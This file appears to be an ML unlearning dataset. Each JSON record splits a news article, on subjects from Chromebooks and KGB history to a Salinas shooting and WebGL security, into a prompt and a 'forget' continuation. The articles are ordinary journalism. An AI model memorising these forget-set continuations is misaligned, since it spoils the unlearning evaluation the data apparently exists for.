{"prompt": "Google-centric Chromebooks are turning out to be a big deal and they\u2019re only getting bigger. Shipments of laptops running Chrome OS increased 67 percent in the third quarter of 2014 compared to the previous quarter, according to market research firm ABI Research. A big jump like that should be expected, however, when comparing a spring-summer selling period to the back-to-school season. What\u2019s really interesting is that ABI expects Chromebook shipments to double in size for 2014 compared to 2013. ABI also predicts that North America will account for 78 percent of worldwide Chromebook sales for 2014. Why this matters: The", "forget": "PC market ain\u2019t what it used to be, but Chromebooks are surging in popularity. Google recently claimed that Chromebooks now account for 50 percent of sales to education institutions in the U.S., according to OMG Chrome. Microsoft has also noticed this trend and went after the growing popularity of Chromebooks during IFA Berlin in September. During the trade show, Windows PC makers\u2014who also happen to be Chromebook makers\u2014announced a bunch of dirt cheap, low-spec Windows laptops to compete with Chrome OS devices. More than just a browser in a box Chromebooks started out as devices that were more or less useless without an Internet connection. Since then, however, Chrome OS has morphed into a more powerful platform with offline functionality, a special version of Adobe Photoshop, a growing catalog of desktop-like apps, and deep integration with Android. Add to that Google\u2019s popular suite of productivity apps from Gmail to Google Drive and it\u2019s easy to see why Chromebooks are becoming more popular. The fact that they\u2019re very inexpensive and easy-peasy to maintain surely helps as well. Not content with just Chromebooks, Google is also expanding Chrome OS functionality into other platforms. This is especially true for Windows, where anyone running Windows 8.1 can run Chrome in modern UI mode, where it basically transforms into a Windows-friendly version of Chrome OS. Allowing people to become comfortable using the Chrome ecosystem within a PC platform they\u2019re already used to could earn Google a few more converts to Chrome OS over time. But let\u2019s not be too bullish. It\u2019s still early days for the Chromebook, and fighting Microsoft on its home turf of the PC market rarely turns out well. As ABI points out, Chromebooks could turn out to be just another fad like netbooks before them, especially once a wave of low-cost,"}
{"prompt": "Researchers at Case Western Reserve University have developed a way to swiftly and precisely control electron spins at room temperature. The technology, described in Nature Communications, offers a possible alternative strategy for building quantum computers that are far faster and more powerful than today's supercomputers. \"What makes electronic devices possible is controlling the movement of electrons from place to place using electric fields that are strong, fast and local,\" said physics Professor Jesse Berezovsky, leader of the research. \"That's hard with magnetic fields, but they're what you need to control spin.\" Other researchers have searched for materials where electric fields", "forget": "can mimic the effects of a magnetic field, but finding materials where this effect is strong enough and still works at room temperature has proven difficult. \"Our solution,\" Berezovsky said, \"is to use a magnetic vortex.\" Berezovsky worked with physics PhD students Michael S. Wolf and Robert Badea. The researchers fabricated magnetic micro-disks that have no north and south poles like those on a bar magnet, but magnetize into a vortex. A magnetic field emanates from the vortex core. At the center point, the field is particularly strong and rises perpendicular to the disk. The vortices are coupled with diamond nanoparticles. In the diamond lattice inside each nanoparticle, several individual spins are trapped inside of defects called nitrogen vacancies. The scientists use a pulse from a laser to initialize the spin. By applying microwaves and a weak magnetic field, Berezovsky's team can move the vortex in nanoseconds, shifting the central point, which can cause an electron to change its spin. In what's called a quantum coherent state, the spin can act as a quantum bit, or qubit--the basic unit of information in a quantum computer, In current computers, bits of information exist in one of two states: zero or one. But in a superposition state, the spin can be up and down at the same time, that is, zero and one simultaneously. That capability would allow for more complex and faster computing. \"The spins are close to each other; you want spins to interact with their neighbors in quantum computing,\" Berezovsky said. \"The power comes from entanglement.\" The magnetic field gradient produced by a vortex proved sufficient to manipulate spins just nanometers apart. In addition to computing, electrons controlled in coherent quantum states might be useful for extremely high-resolution sensors, the researchers say. For example, in an MRI, they could"}
{"prompt": "According to Salinas police, the man on the left tracked down his estranged wife in Salinas and shot her and three of her family members. (Aug. 27, 2015) Advertisement Salinas police: Estranged husband stalked and shot wife; killed 2 others Share Shares Copy Link Copy Two people are dead and two others are critically wounded after a domestic violence shooting unfolded in Salinas outside a federal office building.It happened at 8:45 a.m. Thursday outside the U.S. Social Security Administration office on the 900 block of Blanco Circle.\"This incident was purely domestic violence,\" Police Cmdr. Vince Maiorana said.VIDEO: 2 dead, two", "forget": "wounded in Salinas shootingMaiorana said an estranged husband and wife who live in Garden Grove, Calif. were having marital conflicts.The 32-year-old woman wanted to get away from her 50-year-old husband, so she drove to Salinas to stay with her aunt, uncle, and cousin, he said.\"The wife had come up to Salinas get away from martial difficulties they were having in Southern California,\" Maiorana said.The husband decided to follow and stalk his wife, police said. He found her Thursday morning outside the Social Security office while she was with her family.The husband argued with his wife until he pulled out a 9mm handgun and opened fire on everyone.The 51-year-old aunt and 64-year-old uncle died at the scene. The wife and her 28-year-old cousin were also shot and rushed to a trauma center in critical condition.Witness Mark Keszler told KSBW that the gunman showed very little emotion immediately after the shooting. \"The scariest part of it was that he was so stoic. He just didn\u2019t have any kind of emotion, anything in his face. That was really chilling. It was like watching a horror film,\" Keszler said.More than 10 people called 911. Officers surrounded and locked down the area. The suspected shooter was pointed out to officers by witnesses, and he was taken to the police station.\"(Witnesses) assisted us and directed us to the identity of the suspect. The cooperation we got from witnesses out at the scene was extraordinary,\" Maiorana said.Police declined to release the names of the victims and suspected shooter. He was still being questioned at the police station late Thursday afternoon.\"Our suspect completely confessed to what he did. We\u2019re having a very candid conversation now on why he did what he did. We don\u2019t know yet if there was premeditation, or if it was a spur of the"}
{"prompt": "Yuri Drozdov, handler of Soviet undercover spies during Cold War, dies at 91 June 26, 2017 by Joseph Fitsanakis General Yuri Ivanovich Drozdov, who held senior positions in the Soviet KGB for 35 years, and handled a global network of Soviet undercover officers from 1979 until 1991, has died at the age of 91. Drozdov was born in Minsk, Soviet Belarus, in 1925. His father, Ivan Dmitrievich Drozdov, was an officer in the tsarist army who sided with the communists in the 1917 Bolshevik Revolution. After serving in World War II, Yuri Drozdov joined the KGB in 1956. Following his", "forget": "training, he was appointed liaison officer between the KGB and East Germany\u2019s Ministry of State Security, commonly known as the Stasi. His knowledge of East German intelligence affairs prompted his involvement in the famous 1962 spy-swap between the United States and the Soviet Union. The Soviets surrendered the American pilot Francis Gary Powers, who had been captured in May 1960, when the U-2 spy plane he was piloting was shot down over Soviet airspace. In return, they received Rudolf Abel (real name Vilyam Fisher) a Soviet undercover spy who was captured in New York in 1957, posing as an American citizen. From 1964 until 1968, Drozdov was stationed in Beijing, China, where he served as the KGB rezident, effectively the agency\u2019s chief of station. He returned to Moscow and in 1975 was posted under diplomatic cover in the United States, where he commanded the KGB\u2019s station in New York until 1979. Upon his return to the USSR, Drozdov was promoted to chief of the KGB\u2019s Directorate S, which handled the agency\u2019s worldwide network of so-called illegals \u2014intelligence officers serving abroad without official cover or formal connection to the Soviet Union. Shortly after his return to Moscow, Drozdov also headed Operation STORM-333, a daring attack on the presidential palace in Afghanistan, during which Soviet special forces killed Afghan President Hafizullah Amin and essentially fired the opening shots of the decade-long Soviet-Afghan war. The experience prompted Drozdov to recommend to his superiors the establishment of a new KGB special-forces unit. It was created in 1981 under the name Vympel (Pennant) and headed by Drozdov himself. He commanded several Vympel missions in and out of the USSR before resigning from the KGB in 1991. Little is known about the specifics of Drozdov\u2019s death. It is believed that he died on June 21, surrounded"}
{"prompt": "Editor's note: This article was updated with new figures on procurement. MOSCOW \u2014 Despite the pressure of Western sanctions, the sharp devaluation of the Russian ruble and runaway inflation at home, Russian defense firms featured in this year's Defense News Top 100 ranking saw surging revenues as exports reached new highs and the government poured money into defense procurement. Russia's largest defense firm, air defense concern Almaz-Antey, saw revenues rise 10 percent to $9.2 billion, up $883.5 million over 2013. The Tactical Missile Corp., maker of air-to-air systems, saw the most drastic increase with a 48.6 percent rise in revenue", "forget": "to $2.8 billion in 2014. Other Russian firms that made the ranking were the United Aircraft Corp., which owns Sukhoi, MiG and Irkut, and saw revenues rise 7 percent to $6.2 billion; Russian Helicopters, which finished at $3.96 billion, up 16 percent over 2013; and the United Engine-building Company, which saw a 25 percent increase over 2013 revenues to $3.3 billion in 2014. Other firms that made the \u200b list were tank manufacturer Uralvagonzavod, which reported defense revenues of $1.54 billion in 2014 \u2014 a 1 percent rise \u2014 and electronics component manufacturer RTI, rising 15 percent to $947 million. Russia's shipbuilding conglomerate, the United Shipbuilding Corp., declined to participate in the ranking. The impressive rise in revenues for Russian defense manufacturers, despite the pressure of Russia's economic crisis and Western sanctions, was likely due to record-setting export revenues and government procurement expenditures as President Vladimir Putin's decade-long $350 billion military rearmament drive kicked into high gear. Export and Procurement Surge Russian firms exported a record $13.2 billion worth of military hardware abroad in 2014, continuing a nearly 10-year \u200byear-on-year rise in export revenues for Russia's defense industry. Exports were largely unharmed by sanctions, as Russia's major trading partners are non-Western nations with close political ties to Moscow, such as China, India, Algeria and Venezuela. At the same time, Russian procurement hit a new high, with about 2 trillion rubles (US $33.2 billion) spent on new equipment in 2014, Prime Minister Dmitry Medvedev said in April. This was a large increase over the 2013 state defense order, which Medvedev said was valued at around 1.5 trillion rubles. Devaluation and Inflation Although Russian firms saw soaring revenues, Western sanctions did have an impact on the industry, though their effects are not readily apparent from the revenue data. Sanctions combined with a"}
{"prompt": "Only injury or attitude can stop Dele Alli's sensational rise, says Graeme Souness Dele Alli celebrates scoring Tottenham's opener against Watford with Jan Vertonghen and Eric Dier Graeme Souness believes only injury or a lapse in attitude can halt Dele Alli's unrelenting progression to the top of world football. The England international underlined his claim as one of the brightest young talents in the game with a starring role in Tottenham's 4-0 victory over Watford on Saturday. After the Hornets had held Spurs in a frustrating opening half hour at White Hart Lane, the 20-year-old, three days before his 21st", "forget": "birthday, opened the scoring in emphatic style with a curling effort from range. His 16th goal of the season laid the foundations for a resounding win as Spurs moved to within four points of league leaders Chelsea. On a personal note, Alli's strike was the 40th Premier League goal he has played a hand in, more than Frank Lampard (15), Steven Gerrard (13) and David Beckham (12) had managed by the same point of their illustrious careers combined. 40 - Dele Alli (40) has had a hand in as many PL goals before turning 21 as Lampard (15), Gerrard (13) & Beckham (12) combined. Star. pic.twitter.com/fWzi2Crd2Y \u2014 OptaJoe (@OptaJoe) April 8, 2017 And, after another eye-catching performance, Souness was left in no doubt Alli was destined for the top. \"At 20-years-old, Dele Alli has the world at his feet,\" Souness told Sky Sports. \"He doesn't look out of place as a star of the Premier League - a league regarded as the hardest to play in with some of world's great players. Dele Alli is destined for the pinnacle of world football, according to Souness \"How far can he go? Two things will determine how far he can go. \"If he's unlucky, injuries could play a part, or if he stops turning up every game wanting to learn. .@Dele_Alli scores his 16th PL goal this season and his 7th goal in his last 8 PL apps at White Hart Lane #PL pic.twitter.com/u8yDEV3HeP \u2014 Sky Sports Statto (@SkySportsStatto) April 8, 2017 \"But he strikes me as someone whose feet are on the ground with the determination to get to the very top. \"This performance against Watford only makes me think even more that he has a real chance of achieving that.\" 2:59 Highlights: Tottenham 4-0 Watford Highlights: Tottenham 4-0 Watford Fellow"}
{"prompt": "In the aftermath of the Second World War, with much of Europe in ruins, millions of people displaced, the horrors of the Holocaust a recent memory and an uneasy peace splintering the European continent, the North Atlantic Treaty Organization was founded. NATO tied the security of European democracies to American military power in order to deter then Soviet expansion and aggression. On May 6th, 1955 West Germany joined NATO and the Soviet Union retaliated with the Warsaw Pact coalition eight days later. For decades, Europe was fractured by ideology, economic systems and outlook. Today, NATO remains the most important alliance", "forget": "in the world. Unlike other international bodies and forums, NATO has proven its ability to influence global affairs by not only shaping military outcomes but also buttressing a stable world order by virtue of its very existence. While the European Union looks increasingly shaky, and the prospect of a Brexit adding to the instability, NATO is a rock upon which diplomacy and military planning remains constant. Predicated on consensus, NATO, as a political forum and a military organization, engages its members with three pillars: Collective defence, cooperative security and crisis management. For Canada, NATO provides a forum to express Canada\u2019s position on the most important international security issues. Be it Afghanistan, Iraq, Europe, the Seas surrounding the Horn of Africa or the ongoing war against extremists, NATO coalitions enable Canada to project Canadian power and Canadian values abroad. Canada\u2019s position is in stark contrast to that of certain American politicians: We need more NATO, not less of it. In a past life, I was a passionate advocate for NATO expansion. I still am. The inclusion of Georgia and Macedonia into NATO should occur in the near term and I look forward to one day welcoming those two nations sharing the protective umbrella of NATO. The exclusion of Ukraine in the Alliance was to our collective shame. With a concentrated push, Ukraine\u2019s path to membership would have united large swaths of that nation and what most see as the illegal Russian invasion of Crimea would not have occurred. As it is, Russia\u2019s Prime Minister has declared a new Cold War against NATO and Russian rhetoric has once again regressed to a tone of antagonism. NATO, with it\u2019s combined and interdependent strength, has acted as an effective deterrent to many forms of invasion, aggression and violence and will continue to do so."}
{"prompt": "During Jan/Feb AIG would call up and just ask for complete unwind prices from the credit desk in the relevant jurisdiction. These were not single deal unwinds as are typically more price transparent - these were whole portfolio unwinds. The size of these unwinds were enormous, the quotes I have heard were \" we have never done as big or as profitable trades - ever \". This is largely due to AIG-FP unwinds. Allowing for significant reserve release and trade PnL, I think for the big correlation players this could have easily been US$1-2bn per bank in this period. far", "forget": "these profits were a) one-time in nature due to wholesale unwinds of AIG portfolios, b) entirely at the expense of AIG, and thus taxpayers, c) executed with Tim Geithner's (and thus the administration's) full knowledge and intent, d) were basically a transfer of money from taxpayers to banks (in yet another form) using AIG as an intermediary. This protocol would allow non-market close outs The purpose of the Protocol is to permit parties to agree upfront that in the event of a counterparty default, they will use Close-Out Amount valuation methodology to value trades. Close-Out Amount valuation, which was introduced in the 2002 ISDA Master Agreement, differs from the Market Quotation approach in that it allows participants more flexibility in valuation where market quotations may be difficult to obtain . Industry participants observed the significant benefits of the Close-Out Amount approach following the default of Lehman Brothers. In launching the Close-Out Amount Protocol, ISDA is facilitating amendment of existing 1992 ISDA Master Agreements by replacing Market Quotation and, if elected, Loss with the Close-Out Amount approach . \"This is yet another example of ISDA helping the industry to coalesce around more efficient and effective practices, while maintaining flexibility,\" said Robert Pickel, Executive Director and Chief Executive Officer, ISDA. \"The Protocol permits parties to value trades in the way that is most appropriate, which greatly enhances smooth functioning of the market in testing circumstances.\" Zero Hedge is rarely speechless, but after receiving this email from a correlation desk trader, we simply had to hold a moment of silence for the phenomenal scam that continues unabated in the financial markets, and now has the full oversight and blessing of the U.S. government, which in turns keeps on duping U.S. taxpayers into believing everything is good.I present the insider perspective of trader Lou"}
{"prompt": "Panhandler Lawsuit Kim Pindak stands outside Chicago's federal courthouse after the first day of testimony in a civil lawsuit involving him and and other panhandlers Monday, Jan. 25, 2016, in Chicago. He and another panhandler brought a suit that alleges they lost up to $10 a day because authorities bar them from begging in Daley Plaza, a popular public square in the city. The trial that started today is a rare instance of jurors being asked to decide the issue of panhandlers' rights. (AP Photo/Michael Tarm) CHICAGO -- A federal civil trial pitting two panhandlers against one of the nation's", "forget": "largest sheriff's departments got underway Monday, in a case stemming from a lawsuit that alleges the men were improperly stopped from begging at a popular Chicago square. Kim Pindak and Sam Phillips claim they lost up to $10 a day over four years because Cook County sheriff's deputies told them repeatedly they couldn't ask for money at Daley Plaza, best known for its iconic Chicago sculpture by Pablo Picasso. Pindak, 63, said during a break in the trial that he was forced to supplement his income by begging because all but $30 of his $750-a-month federal disability assistance went toward paying living expenses at an assisted-living facility. \"A lot of people see us as scam artists,\" he said. \"I don't live in the Waldorf Astoria. I'm just trying to survive.\" Wearing a sports jacket his attorneys bought him for the trial, Pindak said over lunch that he never imagined he would one day be a subject in a rare panhandler case to go before a federal jury. He quickly added, \"I never thought I would be a panhandler, either.\" He said he once aspired to become a physician before suffering debilitating mental illness. The extra income from panhandling allows him to buy an occasional coffee, a pair of shoes or sometimes books about his favorite hobby -- chess. Back in the courtroom, he often looked uneasy as he sat at a table for the plaintiffs. The judge, Rebecca Pallmeyer, has presided over some of the most notable cases in recent Illinois history, including the corruption trial of former Illinois Gov. George Ryan. In recent years, courts nationwide have increasingly agreed that asking passers-by for money is constitutionally protected free speech under the First Amendment, said Rebecca Glenberg, a civil liberties lawyer at the American Civil Liberties Union of Illinois. A"}
{"prompt": "The Khronos Group\u2019s WebGL technology is a cross-platform, low-level 3D graphics API for the web. Recently, Context Information Security published two reports critical of the WebGL technology, WebGL \u2013 A New Dimension for Browser Exploitation and WebGL \u2013 More WebGL Security Flaws. One of the functions of MSRC Engineering is to analyze various technologies in order to understand how they can potentially affect Microsoft products and customers. As part of this charter, we recently took a look at WebGL. Our analysis has led us to conclude that Microsoft products supporting WebGL would have difficulty passing Microsoft\u2019s Security Development Lifecycle requirements.", "forget": "Some key concerns include: Browser support for WebGL directly exposes hardware functionality to the web in a way that we consider to be overly permissive The security of WebGL as a whole depends on lower levels of the system, including OEM drivers, upholding security guarantees they never really need to worry about before. Attacks that may have previously resulted only in local elevation of privilege may now result in remote compromise. While it may be possible to mitigate these risks to some extent, the large attack surface exposed by WebGL remains a concern. We expect to see bugs that exist only on certain platforms or with certain video cards, potentially facilitating targeted attacks. Browser support for WebGL security servicing responsibility relies too heavily on third parties to secure the web experience As WebGL vulnerabilities are uncovered, they will not always manifest in the WebGL API itself. The problems may exist in the various OEM and system components delivered by IHV\u2019s. While it has been suggested that WebGL implementations may block the use of affected hardware configurations, this strategy does not seem to have been successfully put into use to address existing vulnerabilities. It is our belief that as configurations are blocked, increasing levels of customer disruption may occur. Without an efficient security servicing model for video card drivers (eg: Windows Update), users may either choose to override the protection in order to use WebGL on their hardware, or remain insecure if a vulnerable configuration is not properly disabled. Users are not accustomed to ensuring they are up-to-date on the latest graphics card drivers, as would be required for them to have a secure web experience. In some cases where OEM graphics products are included with PCs, retail drivers are blocked from installing. OEMs often only update their drivers once per"}
{"prompt": "Beaver Island as we know it first appeared out of the ice eleven thousand years ago. Since then, its form has changed considerably because of the rise and fall of Lake Michigan, which has ranged over a differential of 375'. The Lake dropped to a very low level about 8,000 years ago, and stayed down for 4,000 years. During this time, this land was not an island at all but an appendage of the mainland. Then the Lake rose to 30' above its present level, submerging all of Beaver except the central plateau. Next, it dropped about ten feet, producing", "forget": "a slightly smaller version of our present Island. The edge of this configuration was layered with beach gravel. When a logging railroad was built in 1904, it was placed on this firm bed. We know that Native Americans passed by Beaver Island as long ago as 2,200 years. There is no proof that they lived here, but the oral tradition of the Odawas, who have resided here for over 300 years, is that there were small fishing villages in many of the bays when they arrived. Arrowheads, spear heads, and fragments of Woodland-period pottery indicate that at least they came ashore. Fire-cracked rocks mark their cooking fires along the bluff. In 1871 the archeologist Henry Gillman opened some of the mounds in the harbor, and was surprised at the \"uncommonly skillful workmanship\" of the artifacts he found. The Odawas (Ottawas) migrated westward in the ripples of Native American movement that retreated from contact with the whites, arriving on Beaver Island in the mid-1700s. At times they were recruited to help in skirmishes between the English and the French, but little was known about their lives until Father Baraga came from L'Arbre Croche in 1832 to convert the Indians living on the north shore to Catholicism. He baptized 22 Indians, but those living in the settlement near Whiskey Point remained pagan. A few years later, some of the 199 Indians living on Garden Island, 2 miles north (and the site of over 3,000 Indian graves), were converted by other missionaries. White traders and trappers began to appear in the early 1800s. Trapping, fishing, and cutting wood for the passing steamers allowed men to earn a living at this frontier. By the 1840s, two trading posts were flourishing. Economic power shifted here from Mackinac Island because of Beaver's good fishing, ample forests,"}
{"prompt": "Want to download torrents on iPad at full speed, but afraid of jailbreaking your iOS device? Wondering if you can download torrents on your iPhone without jailbreak? Well, that should not be a problem if you follow the method featured in this article. Introduction Previously, I had written a post featuring the best torrent downloader app for an iPhone. In that I had mentioned a much easier way to download torrents on your iPhone, iPad or even on an iPod touch. But there\u2019s a catch in that. These torrent downloading apps can be installed only on a jailbroken iOS device", "forget": "from third party app stores like Cydia. This can be a problem to some iOS users for whom jailbreaking may be a strict no-no. However, the good news is that, there is a work around to this problem. In this article I am sharing a new idea that would help you download torrents on your iOS device without the need of a jailbreak. What are torrents? Torrenting is a file sharing protocol on the internet that is fundamentally different from all other ways of downloading a file. In the traditional way of downloading a file, a file can only be downloaded from a single source on the internet. However, in torrents\u2019 case, a file can be downloaded, bit by bit, from the source of upload as well as from fellow downloaders. Hence, by using up multiple sources of downloading simultaneously, torrents can potentially increase the speed of download of a file when compared to direct downloads. While downloading a torrent file there are three types of sharing sources that you will come across. Users who have completed their download and are sharing/seeding it for others to download are called seeders. The more seeders a file has, the faster the download is bound to complete. Users who only have a portion of the file, but are uploading it and downloading the rest at the same time are called peers. Peers are very useful in increasing the overall speed of downloading a torrent file. Users who have just started downloading the torrent and have no portion of it to share with the others are called leechers. The torrent files themselves are just trackers that keep track of the different download locations in real time. They manage the seeding and leeching of a file to different computers. Why Torrent? The internet has developed"}
{"prompt": "CLOSE On Thursday afternoon, Woods and about 100 students rushed Davis' cash register to surprise her with an oversize check for nearly $2,500, printed on an image of the blues, pinks and greens of the Aurora Borealis. Watch Vicke Davis receive $2,500 to see the Northern Lights in Canada below. ASU sophomore Chase Ebiner (left) hugs from dining room cashier Vicke Davis after she received a $2,350 check for her dream trip on Jan. 21, 2016, at Barrett, the Honors College at Arizona State University in Tempe. (Photo: Rob Schumacher/The Republic) Vicke Davis, 59, is something of a celebrity among", "forget": "students at Barrett, the Honors College at Arizona State University. \u201cEveryone knows her,\u201d junior Alysa McCormick said. \u201cShe remembered my name before I remembered her name.\u201d As an employee in the college's dining hall in Tempe for the last three years, Davis has asked about the students\u2019 lives before every breakfast, lunch and dinner. And because she cares, she remembers their answers. She knows if they\u2019re a freshman or senior, how their classes are going, where they went on vacation. \u201cVicke is obviously a star component of the Barrett experience,\u201d sophomore Hannah Houts said. \u201cShe knows all my family. \u2026 She sang \u2018Happy Birthday\u2019 to my dad once even though it wasn\u2019t his birthday \u2014 because he was getting cake.\u201d One chilly fall day last semester, junior Quintin Woods handed Davis his meal card to buy lunch and, as she swiped it, asked about her \u201cdream trip.\" Without hesitation, she replied \u201cthe Northern Lights,\u201d the bands of light that appear in the sky at night, especially in arctic regions. She heard that if you sing or whistle, the colorful streaks will dance with you. On Thursday afternoon, Woods and about 100 students rushed Davis' cash register to surprise her with an oversize check for nearly $2,500, printed on an image of the blues, pinks and greens of the Aurora Borealis. NEWSLETTERS Get the AZ Memo newsletter delivered to your inbox We're sorry, but something went wrong Get the pulse of Arizona -- Local news, in-depth state coverage and what it all means for you Please try again soon, or contact Customer Service at 1-800-332-6733. Delivery: Mon-Fri Invalid email address Thank you! You're almost signed up for AZ Memo Keep an eye out for an email to confirm your newsletter registration. More newsletters As Woods handed her the check and a"}
{"prompt": "Dr. Ashraf Marwan remains a riddle in his death, just as he was in his life. The man who for a large part of the Israeli intelligence community is considered the most senior spy in the history of the state, the one who warned on the eve of Yom Kippur in 1973 that war was about to break out, was also, according to others, a double agent who was trying to get the Israelis to fall into his trap \u2013 with some success. He was an Egyptian billionaire, and happened to be the son-in-law of former Egyptian president Gamal Abdel", "forget": "Nasser. He also served in the Presidential Office under Nasser and was a close aide to Nasser\u2019s successor, Anwar Sadat.On June 27, 2007, at the age of 63, he died mysteriously.\u201cI do not have to prove to anyone that our sources were first-class,\u201d says Zvi Zamir, head of the Mossad in 1973, and the one who met with Marwan on October 5 in London and heard about the date of the war.\u201cIn Military Intelligence, they treated him as a double agent without having any proof. We proved that he was not. I hope you will understand the importance of such intelligence at a time when war was expected. Ashraf Marwan was an unparalleled source in our history.\u201dEli Zeira, who was the head of Military Intelligence during the Yom Kippur War, led the double-agent theory, but it turns out that in the intelligence division, Zeira wasn\u2019t alone in his theory: Maj.-Gen. (res.) Shlomo Gazit believes that Marwan\u2019s contribution was mostly harmful, since the warning he delivered came only hours before the outbreak of the war.\u201cFifty-five percent [certain that] Marwan was a double agent,\u201d Gazit volunteered. \u201cI did not care about his death, but the phenomenon is important to me. I have a clear opinion \u2013 whether he was a real agent or a double agent \u2013 that the damage he caused was terrible. If we hadn\u2019t used Marwan, the State of Israel, being led by the IDF, would have prepared for the war a week earlier when news began to arrive about what was happening in Egypt. But they said that if Marwan didn\u2019t tell us about it, it wasn\u2019t serious, it was just an exercise. That doesn\u2019t mean he was a double agent. But the fact is that when you have a super-agent \u2013 a super-super-super agent \u2013 you are"}
{"prompt": "Harry Redknapp has met me. Years ago my neighbour at the time organised a testimonial for one of the Charlton players against West Ham and my wife\u2019s family are rabid Hammers, so there we were in the director\u2019s box at the Valley. Before kick-off Peter waves to me and beckons me down to the front. I\u2019m happy to thank him but he says, \u201cWhere are the rest of you? Come and meet Harry. Harry!\u201d he shouts, \u201cSomeone I want you to meet.\u201d Harry strolls over, is as pleasant as can be as we exchange a few words and the photo,", "forget": "once pride of place in my wife\u2019s daughter\u2019s living room, is now shoved behind a cupboard in their loft but I\u2019m there, hanging back and forcing a smile. Peter Varney and I used to work for Lewisham Council \u2013 he was something in building \u2013 and we got to know each other better during the 5 week strike over, well, I forget now but it was important. Lovely bloke and a good neighbour. He used to cut the thick hedge that divided our front gardens and it was only when he moved that I realised it was on my side of the line but he never mentioned it. A lifelong and long-suffering Charlton fan, he did a bit for the supporters club and for charity. We\u2019d be chatting over the fence and his wife would call out, \u201cPete, phone. Again!!!\u201d \u201cComing. Who is it\u201d.\u201d \u201cKevin Keegan\u201d \u201cTell Kev to hang on a minute, I\u2019m busy.\u201d Although he was too modest to speak about it, he must have been good because one day it was announced that Pete was the new CEO at Charlton. From humble beginnings on the picket line, he was in the boardroom and moved away. I, um, downsized. I never took to Harry. I wanted to, for him to be the football man with a heart of gold who brought success to clubs in the right way. Fact is, my image of him has been tainted from the start as my wife\u2019s family chronicled his dodgy wheeler-dealing that left him in pocket (allegedly) and successive clubs in a ruinous state financially. I refused to succumb to his assiduously cultivated persona of all-round good ol\u2019 Uncle Harry. It was none of my business, until a couple of years ago anyway, but I don\u2019t like being manipulated. Despite his"}
{"prompt": "Something fishy may be happening in the e-book world. Apple, Hachette Book Group, Penguin Group Inc., Simon & Schuster Inc., Macmillan Publishers, and HarperCollins Publishers have just been slapped with a class action anti-trust lawsuit. The Hagens Berman law firm of northern California is bringing the suit and the plaintiffs \u2013 according to the Hagens Berman website \u2013 are Anthony Petru of California and Marcus Mathis of Mississippi. Hagens Berman claims that Apple and the five publishers colluded to drive up e-book prices and eliminate Amazon's lead in the e-book market. Amazon previously sold e-books at $9.99, for less money", "forget": "than the physical books cost and often at a loss in order to drive up demand for e-books and thus, the Amazon Kindle. The plaintiffs believe that Apple, about to release the iPad that it hoped with compete with the Kindle as an e-reader, and publishers, annoyed at Amazon's low prices, worked together to force Amazon to drive up prices. They did this by forcing Amazon to stop using discount pricing and start using the agency model. The agency model allows publishers to set prices for their e-books, with the online store taking a portion of the price. Previously Amazon had bought e-books from publishers and set its own low prices. In the agency model, according to Ars Technica, Amazon would not be allowed to sell e-books at prices lower than those set by the publishers. Since the publishers in question supposedly control 85% of the popular books on Amazon, it was inevitable that Amazon would have to raise e-book prices \u2013 and it since has. If the Hagens Berman claims are true, then Apple and five publishers are guilty of collusion and violating anti-trust laws by preventing free trade and driving up prices. It sounds like a good argument, but where's the proof? Unfortunately for Apple, there might be some. A conversation between Apple founder, Steve Jobs, and Walt Mossberg from The Wall Street Journal at the unveiling of the iPad was documented in The New Yorker, and shows evidence that Apple knew about Amazon's price hike before it happened, reports Ars Technica. Mossberg apparently asked Jobs why anyone would pay more for an e-book from Apple when they could pay less and get it from Amazon. Jobs said that the price difference would soon be eliminated because publishers were unhappy with Amazon's low pricing. If the case is"}
{"prompt": "Donald Duck and Tigger Is Donald Duck a pervert? Gawker seems to think so. Yesterday evening, it posted an item asking: \u201cWho are the strange people in the furry costumes at Disney World, and are they pervs? After Donald Duck grabbed her boob, a 27-year-old is suing Disney.\u201d The woman\u2019s complaint, according to Gawker, \u201cincludes a helpful list of other Disney character transgressions, like the time Tigger molested a 13-year-old girl. \u2026 Moral of the story: Men who wear masks are not to be trusted.\u201d Readers of the item soon began posting their own allegations. One recalled: \u201cWhen I was", "forget": "in High School the Shamu at the Sea World in Ohio freaked me out. He kept giving me these big bear hugs that were really hard and rough. He also kept my face covered with his fins while he was doing this. Very creepy. I can understand why this lady was totally offended.\u201d Another agreed: \u201cSimilar experience in high school with a crash test dummy at Disney (near the test track). Creepy.\u201d A third added: \u201cWhen my family visited Magic Mountain in the 70s, a horny person dressed up as a grape pinched my dad\u2019s ass and then scampered away.\u201d A fourth wrote: \u201cUGH! I remember going to Disney with my brother and sister. I was like 16 and they were like 12 and 10\u2014so I was confused that all the characters seemed to want to kiss ME on the cheek and hug ME more than my siblings.\u201d We\u2019ve seen this pattern before: an allegation of groping, followed by a bunch of other people recalling similar abuse. The initial charge makes the rest of the claims credible. But sometimes the allegations, and even the triggered memories, are false. That\u2019s what happened to Tigger. Don\u2019t let it happen to Donald. Gawker bases its description of the Tigger case\u2014\u201dthe time Tigger molested a 13-year-old girl\u201d\u2014on the complaint against Donald, which was posted yesterday by the Smoking Gun. The complaint alleges: 9. This incident is one of a long line of continuing, long standing, similar prior incidents that have occurred on Defendant\u2019s various resort premises. \u2026 10. Authorities in Florida received 24 more complaints in the week since a Walt Disney World employee was charged with molesting a 13-year-old girl and her mother while dressed as the character \u2018Tigger\u2019 in 2004. 11. Numerous of those cases were deemed credible enough to be investigated"}
{"prompt": "Premier League star Roberto Firmino suffered a burglary at his home in Liverpool by a hooded gang who stole \u00a370,000 worth of possessions. The Liverpool forward's home was targeted by the thieves before Christmas who are believed to have watched the house for a number of days and pounced when the Brazilian left with his wife and two children. They ransacked the Victorian property in Liverpool for jewellery, watches and clothes amounting to \u00a370,000 before leaving on foot. Roberto Firmino and his family were moved to a hotel over Christmas by Liverpool officials after his home was raided by a", "forget": "hooded gang. Jewellery, watches and clothes were taken Firmino and his wife Larissa Pereira were said to have been left shaken by the burglary It is believed the thieves previously targeted the property but were disturbed on that occasion. Liverpool officials moved the Brazilian and his family - wife La\u00adrissa and two small children - into a hotel over Christmas and have now provided the 25-year-old with a security team tasked with protecting them at the home. A source told The Sun: 'They'd obviously been watching Roberto come and go, then swooped in. 'It's thought they are the same guys who were disturbed mid-burglary on a previous occasion. 'He was obviously shaken up as he has a young family, so the club had him in a hotel before giving him security at the house.' Firmino had his home burgled by a gang before Christmas - he is pictured playing in the FA Cup at the weekend for Liverpool against Plymouth Firmino speaks to manager Jurgen Klopp as he prepares to come on against Plymouth Firmino came off the bench in Liverpool's goalless draw against Plymouth at Anfield Forensic tests have been taken at the property and the 